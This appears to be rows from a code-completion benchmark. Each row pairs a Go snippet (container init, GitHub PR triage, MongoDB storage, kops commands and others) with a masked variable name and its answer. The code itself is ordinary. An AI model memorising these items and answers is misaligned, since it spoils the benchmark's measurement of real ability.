*cli.Context) error { // prepare the command var validator = context.String(""validator"") var name = context.String(""name"") var websiteUrl = context.String(""website-url"") var logoUrl = context.String(""logo-url"") var description = context.String(""description"") // convert the name, website url, logo url, and description to number // string to rune var nameNumber = util.Utf8StringToBigInt(name) var [MASK] = util.Utf8StringToBigInt(websiteUrl) var logoUrlNumber = util.Utf8StringToBigInt(logoUrl) var descriptionNumber = util.Utf8StringToBigInt(description) // add the word ""field"" to the name, website url, logo url, and description nameField := fmt.Sprintf(""%dfield"", nameNumber) websiteUrlField := fmt.Sprintf(""%dfield"", [MASK] ) logoUrlField := fmt.Sprintf(""%dfield"", logoUrlNumber) descriptionField := fmt.Sprintf(""%dfield"", descriptionNumber) // generate the input inputGen := InputGenerator{ Validator: validator, Name: nameField, Website: websiteUrlField, Logo: logoUrlField, Desc: descriptionField, } // generate the input inputGenJson, err := json.Marshal(inputGen) if err != nil { return err } // fmt the json fmt.Println(string(inputGenJson)) // decode back return nil }, } inputGeneratorCmds = append(inputGeneratorCmds, inputGeneratorCmd) return inputGeneratorCmds } ",websiteUrlNumber 915,"// Package verify provides the use case for verify package verify import ( ""time"" domainVerify ""github.com/purplease/golang-integration-sample/pkg/domain/verify"" ""github.com/purplease/golang-integration-sample/pkg/integration/twilio/model"" ) func otpDomainToModelMapper(req *domainVerify.CreateOTPRequest) *model.OTPRequest { return &model.OTPRequest{ To: req.To, Channel: model.ToChannel(req.Channel), } } func ValidateDomaintoModelMapper(req *domainVerify.ValidateOTPRequest) *model.ValidateOTPRequest { return &model.ValidateOTPRequest{ To: req.To, Code: req.Code, } } func modelToDomainMapper( [MASK] *model.VerifyResponse) *domainVerify.Response { return &domainVerify.Response{ Status: * [MASK] .Status, CreatedAt: * [MASK] .CreatedAt, } } func stringToTimeMapper(req *string) time.Time { return time.Now() // TODO: convert the value to time } ",res 916,"package container import ( ""os"" ""syscall"" ""github.com/sirupsen/logrus"" ""io/ioutil"" ""strings"" ""os/exec"" ""fmt"" ) func RunContainerInitProcess() error { cmdArray := readUserCommand() // logrus.Infof(""command %s"", cmdArray) if cmdArray == nil || len(cmdArray) == 0 { return fmt.Errorf(""run container get user command error, cmdArray is nil"") } defaultMountFlags := syscall.MS_NOEXEC | syscall.MS_NOSUID | syscall.MS_NODEV syscall.Mount(""proc"", ""/proc"", ""proc"", uintptr(defaultMountFlags), """") path, err := exec.LookPath(cmdArray[0]) if err != nil { logrus.Errorf(""Exec loop path error %v"", err) return err } logrus.Infof(""Find path %s"", path) // argv := []string{cmdArray} if err := syscall.Exec(path, cmdArray[0:], os.Environ()); err != nil { logrus.Errorf(err.Error()) } return nil } func readUserCommand() []string { pipe := os.NewFile(uintptr(3), ""pipe"") msg, err := ioutil.ReadAll(pipe) if err != nil { logrus.Errorf(""init read pipe error %v"", err) return nil } [MASK] := string(msg) return strings.Split( [MASK] , "" "") }",msgStr 917,"/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ""fmt"" func main() { problem_one() } func problem_one(){ start := 1 [MASK] := 1000 step := 1 sum := 0 for i := start; i < [MASK] ; i += step { if i % 3 == 0 || i % 5 == 0 { sum += i; } } fmt.Printf(""Problem One: %d"", sum) } ",stop 918,"package main import ( ""context"" ""encoding/json"" ""flag"" ""fmt"" ""log"" ""net/http"" ""os"" ""slices"" ""sort"" ""strings"" ""time"" ""github.com/machinebox/graphql"" ""golang.org/x/oauth2"" ) type Member struct { Login string `json:""login""` } func main() { owner := flag.String(""owner"", ""rancher"", ""Repository owner"") repo := flag.String(""repo"", ""rancher"", ""Repository name"") orgs := flag.String(""orgs"", ""rancher,SUSE"", ""Comma-separated list of organizations"") [MASK] := flag.Bool(""includebots"", false, ""Include PRs authored by bots"") botsToExclude := flag.String(""botstoexclude"", """", ""Comma-separated list of bots to exclude"") addToProject := flag.Bool(""addtoproject"", false, ""Add matching PRs to the given project"") projectNumber := flag.Int(""project"", 79, ""GitHub project number"") flag.Parse() ctx := context.Background() token := os.Getenv(""GITHUB_TOKEN"") if token == """" { log.Fatal(""GITHUB_TOKEN is required"") } var httpClient = oauth2.NewClient(ctx, oauth2.StaticTokenSource( &oauth2.Token{AccessToken: token}, )) httpClient.Timeout = 15 * time.Second client := graphql.NewClient(""https://api.github.com/graphql"", graphql.WithHTTPClient(httpClient)) orgList := strings.Split(*orgs, "","") botsToExcludeList := strings.Split(*botsToExclude, "","") // Get project global ID projectGlobalID, err := getProjectV2ID(ctx, client, *owner, *projectNumber) if err != nil { log.Fatalf(""Failed to fetch project ID: %v"", err) } // Fetch organization members members := make(map[string]bool) for _, org := range orgList { err := fetchOrgMembers(ctx, token, org, members) if err != nil { log.Fatalf(""Error fetching members from %s organization: %v"", org, err) } log.Printf(""Fetched members from org %s. Total members list is now: %d"", org, len(members)) } // Fetch pull requests cursor := """" var pullRequests []struct { Number int Title string URL string CreatedAt time.Time Author string } for { req := graphql.NewRequest(` query ($owner: String!, $repo: String!, $cursor: String) { repository(owner: $owner, name: $repo) { pullRequests(first: 100, after: $cursor, states: OPEN) { nodes { number title url createdAt author { login } } pageInfo { endCursor hasNextPage } } } } `) req.Var(""owner"", *owner) req.Var(""repo"", *repo) req.Var(""cursor"", cursor) var resp struct { Repository struct { PullRequests struct { Nodes []struct { Number int Title string URL string CreatedAt string Author struct { Login string } } PageInfo struct { EndCursor string HasNextPage bool } } } } if err := client.Run(ctx, req, &resp); err != nil { log.Fatalf(""Error fetching PRs: %v"", err) } for _, pr := range resp.Repository.PullRequests.Nodes { pullRequests = append(pullRequests, struct { Number int Title string URL string CreatedAt time.Time Author string }{ Number: pr.Number, Title: pr.Title, URL: pr.URL, CreatedAt: parseTime(pr.CreatedAt), Author: pr.Author.Login, }) } if !resp.Repository.PullRequests.PageInfo.HasNextPage { break } cursor = resp.Repository.PullRequests.PageInfo.EndCursor } sort.Slice(pullRequests, func(i, j int) bool { return pullRequests[i].CreatedAt.Before(pullRequests[j].CreatedAt) }) fmt.Printf(""PRs created by users outside of %s:\n"", orgList) fmt.Printf(""-------------------------------------------"") for _, pr := range pullRequests { if _, isMember := members[pr.Author]; !isMember { if !* [MASK] && slices.Contains(botsToExcludeList, pr.Author) { continue } fmt.Printf(""\nPR #%d by %s\nTitle: %s\nLink: %s\n"", pr.Number, pr.Author, pr.Title, pr.URL) if *addToProject { added, err := addPRToProject(ctx, client, projectGlobalID, *owner, *repo, pr.Number) if err != nil { log.Printf(""Error adding PR #%d to project: %v"", pr.Number, err) } if added { fmt.Printf(""PR #%d added to project %v\n"", pr.Number, *projectNumber) } else { fmt.Printf(""PR #%d already in project %v\n"", pr.Number, *projectNumber) } } } } } // parseTime parses the GitHub date-time format into time.Time func parseTime(dateTime string) time.Time { t, err := time.Parse(time.RFC3339, dateTime) if err != nil { log.Fatalf(""Error parsing date-time: %v"", err) } return t } // getProjectV2ID fetches the global ID for the ProjectV2 func getProjectV2ID(ctx context.Context, client *graphql.Client, org string, projectNumber int) (string, error) { req := graphql.NewRequest(` query($org: String!, $projectNumber: Int!) { organization(login: $org) { projectV2(number: $projectNumber) { id } } } `) req.Var(""org"", org) req.Var(""projectNumber"", projectNumber) var resp struct { Organization struct { ProjectV2 struct { ID string `json:""id""` } `json:""projectV2""` } `json:""organization""` } if err := client.Run(ctx, req, &resp); err != nil { return """", fmt.Errorf(""error fetching project ID: %w"", err) } return resp.Organization.ProjectV2.ID, nil } // addPRToProject fetches the global ID of the PR and adds it to the specified project using the global ID func addPRToProject(ctx context.Context, client *graphql.Client, projectID string, owner string, repo string, prNumber int) (bool, error) { // Fetch the global ID of the PR prID, err := getPullRequestID(ctx, client, owner, repo, prNumber) if err != nil { return false, fmt.Errorf(""error fetching global ID for PR #%d: %w"", prNumber, err) } // Check if the PR is already in the project isInProject, err := checkPRInProject(ctx, client, projectID, prID) if err != nil { return false, fmt.Errorf(""error checking PR in project: %w"", err) } if isInProject { return false, nil } // Add PR to the project using the fetched PR global ID req := graphql.NewRequest(` mutation($projectID: ID!, $prID: ID!) { addProjectV2ItemById(input: {projectId: $projectID, contentId: $prID}) { item { id } } } `) req.Var(""projectID"", projectID) req.Var(""prID"", prID) var mutationResp struct { AddProjectV2ItemById struct { Item struct { ID string `json:""id""` } `json:""item""` } `json:""addProjectV2ItemById""` } if err := client.Run(ctx, req, &mutationResp); err != nil { return false, fmt.Errorf(""error adding PR to project: %w"", err) } return true, nil } // getPullRequestID fetches the global ID for a given PR by its number func getPullRequestID(ctx context.Context, client *graphql.Client, owner string, repo string, prNumber int) (string, error) { req := graphql.NewRequest(` query($owner: String!, $repo: String!, $prNumber: Int!) { repository(owner: $owner, name: $repo) { pullRequest(number: $prNumber) { id } } } `) req.Var(""owner"", owner) req.Var(""repo"", repo) req.Var(""prNumber"", prNumber) var resp struct { Repository struct { PullRequest struct { ID string `json:""id""` } `json:""pullRequest""` } `json:""repository""` } if err := client.Run(ctx, req, &resp); err != nil { return """", fmt.Errorf(""error fetching PR ID: %w"", err) } return resp.Repository.PullRequest.ID, nil } // fetchOrgMembers fetches all members from a GitHub organization using the REST API // This is using the REST API instead of graphql because we need ALL org members and MembersWithRole // doesn't give us the full list that we need. func fetchOrgMembers(ctx context.Context, token, org string, members map[string]bool) error { client := &http.Client{ Timeout: time.Second * 15, } perPage := 100 page := 1 for { req, err := http.NewRequest(""GET"", fmt.Sprintf(""https://api.github.com/orgs/%s/members?per_page=%d&page=%d"", org, perPage, page), nil) if err != nil { return fmt.Errorf(""error creating request: %v"", err) } req.Header.Set(""Authorization"", ""token ""+token) //log.Printf(""Making call to fetch 100 members for %s"", org) resp, err := client.Do(req) if err != nil { return fmt.Errorf(""error making request: %v"", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""error: received non-OK response %d"", resp.StatusCode) } var orgMembers []Member if err := json.NewDecoder(resp.Body).Decode(&orgMembers); err != nil { return fmt.Errorf(""error decoding response: %v"", err) } for _, member := range orgMembers { members[member.Login] = true } if len(orgMembers) < perPage { break } page++ } return nil } // checkPRInProject checks if a pull request is already in the specified project. func checkPRInProject(ctx context.Context, client *graphql.Client, projectID, prID string) (bool, error) { req := graphql.NewRequest(` query($projectID: ID!) { node(id: $projectID) { ... on ProjectV2 { items(first: 100) { nodes { id content { ... on PullRequest { id } } } } } } } `) req.Var(""projectID"", projectID) var resp struct { Node struct { Items struct { Nodes []struct { ID string Content struct { ID string } } } } } if err := client.Run(ctx, req, &resp); err != nil { return false, fmt.Errorf(""error checking PR in project: %w"", err) } for _, item := range resp.Node.Items.Nodes { if item.Content.ID == prID { return true, nil } } return false, nil } ",includeBots 919,"package img import ( ""encoding/json"" ""fmt"" ""github.com/flechazo-x/go_common/middleware/xhttp"" ""github.com/flechazo-x/go_common/util/timex"" ""net/http"" ""time"" ) const ( ImageURL = ""https://img.qianxiaoduan.com/"" //图片生成网址 ImageSourceURL = ""https://imgegg.qianxiaoduan.com/wallpaper?offset=%d&limit=3&type=1"" //图片生成请求网址 ) // SourceResp 图片源响应 type SourceResp struct { Success bool `json:""Success,omitempty""` Code int `json:""Code,omitempty""` Message string `json:""Message,omitempty""` Result struct { //结果 Count int `json:""Count,omitempty""` Rows []struct { Id string `json:""Id,omitempty""` Thumbnail string `json:""Thumbnail,omitempty""` Url string `json:""Url,omitempty""` Hot int `json:""Hot,omitempty""` Width int `json:""Width,omitempty""` Height int `json:""Height,omitempty""` Name interface{} `json:""Name,omitempty""` Type string `json:""Type,omitempty""` Scale string `json:""Scale,omitempty""` Tag string `json:""Tag,omitempty""` CreatedAt string `json:""CreatedAt,omitempty""` UpdatedAt string `json:""UpdatedAt,omitempty""` } `json:""Rows,omitempty""` } `json:""Result""` } // GetImage 获取图片 func GetImage() (string, error) { var ( [MASK] = new(SourceResp) imgURL string err error ) surl := fmt.Sprintf(ImageSourceURL, timex.GenRandNum(10000)) o := &xhttp.Option{ Method: http.MethodGet, URL: surl, ContentType: xhttp.ContentTypeIsForm, Timeout: 30 * time.Second, } respBody, err := xhttp.Ask(nil, o) if err != nil { return imgURL, err } err = json.Unmarshal(respBody, & [MASK] ) if err != nil { return imgURL, err } if len( [MASK] .Result.Rows) == 0 { return imgURL, fmt.Errorf(""GetImage Result.Rows len is 0 error:%s, "", surl) } return fmt.Sprintf(""%s%s"", ImageURL, [MASK] .Result.Rows[0].Url), nil } ",imgSourceResp 920,"package range_parser import ( ""errors"" ""strconv"" ""strings"" ) type OrderType int32 const ( ORDER_TYPE_ASC OrderType = 0 ORDER_TYPE_DESC = 1 ) var ( DefaultMaxCount int64 = 20 DefaultOffset int64 = 1 ) type RangeOptions struct { OrderBy []string OrderType OrderType Offset int64 Max int64 Want []string } func Parse(opt string) ( [MASK] *RangeOptions, err error) { opt = strings.Trim(opt, "" "") if opt == """" { return } else if opt = strings.TrimRight(opt, "";""); opt == """" { return } rangeOpts := new(RangeOptions) rangeOpts.Max = DefaultMaxCount rangeOpts.Offset = DefaultOffset rangeOpts.OrderType = ORDER_TYPE_DESC rangeOpts.Want = nil optArray := strings.Split(opt, "";"") for _, option := range optArray { optKV := strings.Split(option, ""="") if len(optKV) != 2 { return nil, errors.New(""range options params should be key-value format"") } k := strings.Trim(optKV[0], "" "") v := strings.Trim(optKV[1], "" "") switch k { case ""order"": { if v == ""desc"" { rangeOpts.OrderType = ORDER_TYPE_DESC } else if v == ""asc"" { rangeOpts.OrderType = ORDER_TYPE_ASC } else { return nil, errors.New(""param order only could be desc or asc"") } } case ""max"": { iv, e := strconv.ParseInt(v, 10, 64) if e != nil { return nil, errors.New(""param max only could be int"") } if iv <= 0 { return nil, errors.New(""param max should greater than zero"") } rangeOpts.Max = iv } case ""offset"": { iv, e := strconv.ParseInt(v, 10, 64) if e != nil { return nil, errors.New(""param offset only could be int"") } if iv < 0 { return nil, errors.New(""param offset should greater or equal than zero"") } rangeOpts.Offset = iv } case ""order_by"": { orderBy := []string{} keys := strings.Split(v, "" "") for _, key := range keys { key = strings.Trim(key, "" "") if key != """" { orderBy = append(orderBy, key) } } if len(orderBy) == 0 { return nil, errors.New(""none order keys exist"") } rangeOpts.OrderBy = orderBy } case ""want"": { want := []string{} keys := strings.Split(v, "" "") for _, key := range keys { key = strings.Trim(key, "" "") if key != """" && key != ""..."" { want = append(want, key) } } if len(want) == 0 { want = nil } rangeOpts.Want = want } } } [MASK] = rangeOpts return } ",rangeOptions 921,"package v1 import ( ""encoding/json"" ""strings"" ""github.com/acorn-io/aml/pkg/jsonschema"" ""github.com/acorn-io/baaah/pkg/conditions"" ""github.com/acorn-io/z"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) var ( _ conditions.Conditions = (*Assistant)(nil) ) const ( ToolTypeFunction ToolType = ""function"" ) type ToolType string // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type Assistant struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` Spec AssistantSpec `json:""spec,omitempty""` Status AssistantStatus `json:""status,omitempty""` } func (in *Assistant) GetDescription() string { return in.Spec.Description } func (in *Assistant) GetConditions() *[]metav1.Condition { return &in.Status.Conditions } const UserAnnotationPrefix = ""user.ai.acorn.io/"" func AddMetadataToAnnotations( [MASK] map[string]string, metadata *map[string]any) error { for k, v := range z.Dereference(metadata) { s, err := json.Marshal(v) if err != nil { return err } [MASK] [UserAnnotationPrefix+k] = string(s) } return nil } func MetadataFromAnnotation(anno map[string]string) *map[string]any { result := map[string]any{} for k, v := range anno { if !strings.HasPrefix(k, UserAnnotationPrefix) { continue } k = strings.TrimPrefix(k, UserAnnotationPrefix) // Does this work? var a any err := json.Unmarshal([]byte(v), &a) if err != nil { continue } result[k] = a } return &result } type AssistantSpec struct { Name string `json:""name,omitempty""` Description string `json:""description,omitempty""` Instructions string `json:""instructions,omitempty""` Model string `json:""model,omitempty""` Vision bool `json:""vision,omitempty""` Tools []Tool `json:""tools,omitempty""` Parameters *jsonschema.Schema `json:""parameters""` MaxTokens int `json:""maxTokens,omitempty""` JSONResponse bool `json:""jsonResponse,omitempty""` Cache *bool `json:""cache,omitempty""` } type FunctionDefinition struct { Name string `json:""name""` Description string `json:""description,omitempty""` Domain string `json:""domain,omitempty""` Parameters *jsonschema.Schema `json:""parameters""` } type Tool struct { Type ToolType `json:""type""` Function FunctionDefinition `json:""function,omitempty""` } type AssistantStatus struct { Conditions []metav1.Condition `json:""conditions,omitempty""` } // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object type AssistantList struct { metav1.TypeMeta `json:"",inline""` metav1.ListMeta `json:""metadata,omitempty""` Items []Assistant `json:""items""` } ",annotation 922,"package main import ( ""context"" ""fmt"" ""log"" ""os"" ""time"" ""go.mongodb.org/mongo-driver/bson"" ""go.mongodb.org/mongo-driver/mongo"" ""go.mongodb.org/mongo-driver/mongo/options"" ) type MongoStorage struct { client *mongo.Client categoriesCollection *mongo.Collection subscriptionsCollection *mongo.Collection } func CreateMongoStorage() (*MongoStorage, error) { serverAPIOptions := options.ServerAPI(options.ServerAPIVersion1) client, err := mongo.Connect(context.TODO(), options.Client().ApplyURI(os.Getenv(""MONGO"")).SetServerAPIOptions(serverAPIOptions)) if err != nil { return nil, err } fmt.Println(client) return &MongoStorage{ client: client, categoriesCollection: client.Database(""dou"").Collection(""categories""), subscriptionsCollection: client.Database(""dou"").Collection(""subscriptions""), }, nil } func (ms *MongoStorage) GetAllSubscribers(categoryName string, categoryId string, exp string) ([]SubscriptionInfo, error) { coll := ms.subscriptionsCollection filter := bson.M{""subscriptions"": bson.D{{""idCategory"", IdToDBId(categoryId)}, {""nameCategory"", categoryName}, {""experience"", IdToDBId(exp)}}} res := []SubscriptionInfo{} cursor, err := coll.Find(context.TODO(), filter) if err != nil { log.Fatal(err) } if err = cursor.All(context.TODO(), &res); err != nil { log.Fatal(err) } return res, nil } func (ms *MongoStorage) GetSubscriptionInfo(userId int) (SubscriptionInfo, error) { coll := ms.subscriptionsCollection filter := bson.D{{Key: ""userId"", Value: userId}} var res SubscriptionInfo err := coll.FindOne(context.TODO(), filter).Decode(&res) return res, err } func (ms *MongoStorage) UnsubscribeUser(categoryName string, userId int) (bool, error) { subInfo, err := ms.GetSubscriptionInfo(userId) if err != nil { return false, err } isFound := false for id, sub := range subInfo.Subscriptions { if sub.NameCategory == categoryName { isFound = true subInfo.Subscriptions = remove(subInfo.Subscriptions, id) break } } if !isFound { return false, nil } coll := ms.subscriptionsCollection filter := bson.D{{Key: ""userId"", Value: userId}} if _, err := coll.ReplaceOne(context.TODO(), filter, subInfo); err != nil { return false, err } return true, nil } func (ms *MongoStorage) SubscribeUser(category DouCategory, exp string, userId int, chatId int64, userName string) (bool, error) { coll := ms.subscriptionsCollection filter := bson.D{{Key: ""userId"", Value: userId}} subCategory := SubscriptionCategory{IDCategory: IdToDBId(category.id), NameCategory: category.name, Experience: IdToDBId(exp)} var res SubscriptionInfo coll.FindOne(context.TODO(), filter).Decode(&res) res.ChatId = chatId res.UserName = userName if res.UserId == 0 { fmt.Println(""User doesn't exist, creating..."") res.UserId = userId res.CreateDate = time.Now().UTC().Format(time.RFC1123Z) res.Subscriptions = []SubscriptionCategory{subCategory} if _, err := coll.InsertOne(context.TODO(), res); err != nil { return false, err } fmt.Printf(""User with name %s created\n"", userName) return true, nil } for _, alreadySubCat := range res.Subscriptions { if alreadySubCat.IDCategory == IdToDBId(category.id) { return false, nil } } res.Subscriptions = append(res.Subscriptions, subCategory) if _, err := coll.ReplaceOne(context.TODO(), filter, res); err != nil { return false, err } return true, nil } func (ms *MongoStorage) SetLastTimeCheckedUTC(category DouCategory, exp string) error { coll := ms.categoriesCollection c := &CategoryInfo{ IDCategory: IdToDBId(category.id), NameCategory: category.name, Experience: IdToDBId(exp), LastTimeChecked: time.Now().UTC().Format(time.RFC1123Z), } filter := bson.D{{Key: ""idCategory"", Value: c.IDCategory}, {Key: ""experience"", Value: IdToDBId(exp)}} result, err := coll.ReplaceOne(context.TODO(), filter, c) if err != nil { fmt.Println(err) return err } if result.MatchedCount == 0 { res, err := coll.InsertOne(context.TODO(), c) if err != nil { return err } fmt.Printf(""Added category %v exp[%s] with id: %v\n"", category.name, IdToDBId(exp), res.InsertedID) return nil } fmt.Printf(""Replaced lastTimeUsed for category `%v` matches: %v\n"", category.name, result.MatchedCount) return nil } func (ms *MongoStorage) GetLastTimeCheckedUTC(category DouCategory, exp string) time.Time { coll := ms.categoriesCollection filter := bson.D{{Key: ""idCategory"", Value: IdToDBId(category.id)}, {Key: ""experience"", Value: IdToDBId(exp)}} var doc CategoryInfo result := coll.FindOne(context.TODO(), filter) if err := result.Decode(&doc); err != nil { fmt.Printf(""Category %s:id[%s]:exp[%s] wasn't found, so using current time\n"", category.name, category.id, IdToDBId(exp)) return time.Now().UTC() } tm, err := time.Parse(time.RFC1123Z, fmt.Sprint(doc.LastTimeChecked)) if err != nil { fmt.Printf(""Error parsing %s to time\n"", doc.LastTimeChecked) return time.Now().UTC() } return tm //time.Date(2023, time.March, 17, 18, 0, 0, 0, time.Now().Location()).UTC() // } func remove[T any]( [MASK] []T, s int) []T { return append( [MASK] [:s], [MASK] [s+1:]...) } func IdToDBId(id string) string { if id == """" { return ""all"" } return id } func DBIdToId(dbId string) string { if dbId == ""all"" { return """" } return dbId } ",slice 923,"/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""fmt"" ""os"" ""strconv"" ""strings"" ""github.com/spf13/cobra"" ""io"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/kops/cmd/kops/util"" api ""k8s.io/kops/pkg/apis/kops"" ""k8s.io/kops/util/pkg/tables"" ""k8s.io/kubernetes/pkg/kubectl/cmd/templates"" ""k8s.io/kubernetes/pkg/util/i18n"" ) var ( get_instancegroups_long = templates.LongDesc(i18n.T(` Display one or many instancegroup resources.`)) get_instancegroups_example = templates.Examples(i18n.T(` # Get all instancegroups in a state store kops get ig # Get a cluster kops get ig --name k8s-cluster.example.com nodes`)) get_instancegroups_short = i18n.T(`Get one or many instancegroups`) ) type GetInstanceGroupsOptions struct { *GetOptions } func NewCmdGetInstanceGroups(f *util.Factory, out io.Writer, getOptions *GetOptions) *cobra.Command { options := GetInstanceGroupsOptions{ GetOptions: getOptions, } cmd := &cobra.Command{ Use: ""instancegroups"", Aliases: []string{""instancegroup"", ""ig""}, Short: get_instancegroups_short, Long: get_instancegroups_long, Example: get_instancegroups_example, Run: func(cmd *cobra.Command, args []string) { err := RunGetInstanceGroups(&options, args) if err != nil { exitWithError(err) } }, } return cmd } func RunGetInstanceGroups(options *GetInstanceGroupsOptions, args []string) error { out := os.Stdout [MASK] := rootCommand.ClusterName() if [MASK] == """" { return fmt.Errorf(""--name is required"") } clientset, err := rootCommand.Clientset() if err != nil { return err } cluster, err := clientset.GetCluster( [MASK] ) if err != nil { return fmt.Errorf(""error fetching cluster %q: %v"", [MASK] , err) } list, err := clientset.InstanceGroupsFor(cluster).List(metav1.ListOptions{}) if err != nil { return err } instancegroups, err := buildInstanceGroups(args, list) if err != nil { return err } if len(instancegroups) == 0 { fmt.Fprintf(os.Stderr, ""No InstanceGroup objects found\n"") return nil } switch options.output { case OutputTable: return igOutputTable(instancegroups, out) case OutputYaml: return igOutputYAML(instancegroups, out) case OutputJSON: return igOutputJson(instancegroups, out) default: return fmt.Errorf(""Unknown output format: %q"", options.output) } } func buildInstanceGroups(args []string, list *api.InstanceGroupList) ([]*api.InstanceGroup, error) { var instancegroups []*api.InstanceGroup len := len(args) if len != 0 { m := make(map[string]*api.InstanceGroup) for i := range list.Items { ig := &list.Items[i] m[ig.ObjectMeta.Name] = ig } instancegroups = make([]*api.InstanceGroup, 0, len) for _, arg := range args { ig := m[arg] if ig == nil { return nil, fmt.Errorf(""instancegroup not found %q"", arg) } instancegroups = append(instancegroups, ig) } } else { for i := range list.Items { ig := &list.Items[i] instancegroups = append(instancegroups, ig) } } return instancegroups, nil } func igOutputTable(instancegroups []*api.InstanceGroup, out io.Writer) error { t := &tables.Table{} t.AddColumn(""NAME"", func(c *api.InstanceGroup) string { return c.ObjectMeta.Name }) t.AddColumn(""ROLE"", func(c *api.InstanceGroup) string { return string(c.Spec.Role) }) t.AddColumn(""MACHINETYPE"", func(c *api.InstanceGroup) string { return c.Spec.MachineType }) t.AddColumn(""SUBNETS"", func(c *api.InstanceGroup) string { return strings.Join(c.Spec.Subnets, "","") }) t.AddColumn(""MIN"", func(c *api.InstanceGroup) string { return int32PointerToString(c.Spec.MinSize) }) t.AddColumn(""MAX"", func(c *api.InstanceGroup) string { return int32PointerToString(c.Spec.MaxSize) }) return t.Render(instancegroups, os.Stdout, ""NAME"", ""ROLE"", ""MACHINETYPE"", ""MIN"", ""MAX"", ""SUBNETS"") } func igOutputJson(instanceGroups []*api.InstanceGroup, out io.Writer) error { for _, ig := range instanceGroups { if err := marshalToWriter(ig, marshalJSON, out); err != nil { return err } } return nil } func igOutputYAML(instanceGroups []*api.InstanceGroup, out io.Writer) error { for i, ig := range instanceGroups { if i != 0 { if err := writeYAMLSep(out); err != nil { return fmt.Errorf(""error writing to stdout: %v"", err) } } if err := marshalToWriter(ig, marshalYaml, out); err != nil { return err } } return nil } func int32PointerToString(v *int32) string { if v == nil { return ""-"" } return strconv.Itoa(int(*v)) } ",clusterName 924,"package main import ( ""bufio"" ""compress/gzip"" ""io"" ""log"" ""net"" ""os"" ""path/filepath"" ""time"" ) const gz = "".gz"" type worker struct { writer io.WriteCloser closable []io.Closer timeout time.Duration } func (w *worker) Work( [MASK] chan string) { for file := range [MASK] { w.WorkOnce(file) } w.Close() } func (w *worker) WorkOnce(file string) { scan, err := w.readFile(file) if err != nil { log.Printf(""Worker : %s\n"", err) return } if w.timeout == 0 { w.noTimeout(scan) } else { w.withTimeout(scan, w.timeout) } } func (w *worker) noTimeout(scanner *bufio.Scanner) { for scanner.Scan() { w.sendLine(scanner.Bytes()) } } func (w *worker) withTimeout(scanner *bufio.Scanner, timeout time.Duration) { t := time.Tick(timeout) for scanner.Scan() { w.sendLine(scanner.Bytes()) <-t } } func (w *worker) sendLine(data []byte) { if _, err := w.writer.Write(append(data, '\n')); err == nil { totalLines++ } else { droppedLines++ } } func (w *worker) Close() { w.writer.Close() for _, cl := range w.closable { cl.Close() } } func (w *worker) readFile(name string) (*bufio.Scanner, error) { file, err := os.Open(name) if err != nil { return nil, err } w.appendClosable(file) if filepath.Ext(name) == gz { gz, err := gzip.NewReader(file) if err != nil { return nil, err } w.appendClosable(gz) return bufio.NewScanner(gz), nil } return bufio.NewScanner(file), nil } func (w *worker) appendClosable(cl io.Closer) { w.closable = append(w.closable, cl) } func getUDPConnection(addr string) (net.Conn, error) { conn, err := net.Dial(""udp"", addr) if err != nil { return nil, err } return conn, nil } type F struct { f *os.File gf *gzip.Writer fw *bufio.Writer } func (f *F) Write(p []byte) (n int, err error) { return (f.fw).Write(p) } func (f *F) Close() error { f.fw.Flush() f.gf.Close() f.f.Close() return nil } func getGzFile(path string) (f *F, err error) { fi, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0660) if err != nil { return nil, err } gf := gzip.NewWriter(fi) fw := bufio.NewWriter(gf) f = &F{fi, gf, fw} return f, nil } ",fileChan 925,"package main import ( ""eddy.org/pi/drivers"" ""eddy.org/pi/internal/car"" ""github.com/sirupsen/logrus"" ""gobot.io/x/gobot"" ""gobot.io/x/gobot/platforms/raspi"" ) func main() { a := raspi.NewAdaptor() r := drivers.NewWheelDriver(a, ""12"", ""11"") r.SetName(""left wheel"") l := drivers.NewWheelDriver(a, ""13"", ""15"") l.SetName(""right wheel"") c := drivers.NewCarDriver(r, l) work := func() { _ = car.Setup(func( [MASK] car.Direction) { var err error switch [MASK] { case car.Direction_FRONT: err = c.Front() case car.Direction_BACK: err = c.Back() case car.Direction_LEFT: err = c.Left() case car.Direction_RIGHT: err = c.Right() case car.Direction_STOP: err = c.Stop() default: logrus.WithField(""command"", [MASK] .String()).Fatal(""cmd/car: unhandled command"") } if err != nil { logrus.Error(err) } }) } robot := gobot.NewRobot(""car"", []gobot.Connection{a}, []gobot.Device{c}, work, ) _ = robot.Start() } ",direction 926,"package balancer import ( ""context"" ""fmt"" ""github.com/thushan/olla/internal/adapter/stats"" ""github.com/thushan/olla/internal/logger"" ""net/url"" ""testing"" ""github.com/thushan/olla/internal/core/domain"" ) func createTestFactoryLogger() logger.StyledLogger { loggerCfg := &logger.Config{Level: ""error"", Theme: ""default""} log, _, _ := logger.New(loggerCfg) return logger.NewPlainStyledLogger(log) } func NewTestStatsCollector() *stats.Collector { return stats.NewCollector(createTestFactoryLogger()) } func BenchmarkFactory_Create(b *testing.B) { factory := NewFactory(NewTestStatsCollector()) b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { selector, err := factory.Create(DefaultBalancerPriority) if err != nil { b.Fatal(err) } _ = selector } } func BenchmarkPrioritySelector_Select(b *testing.B) { selector := NewPrioritySelector(NewTestStatsCollector()) ctx := context.Background() // Create test 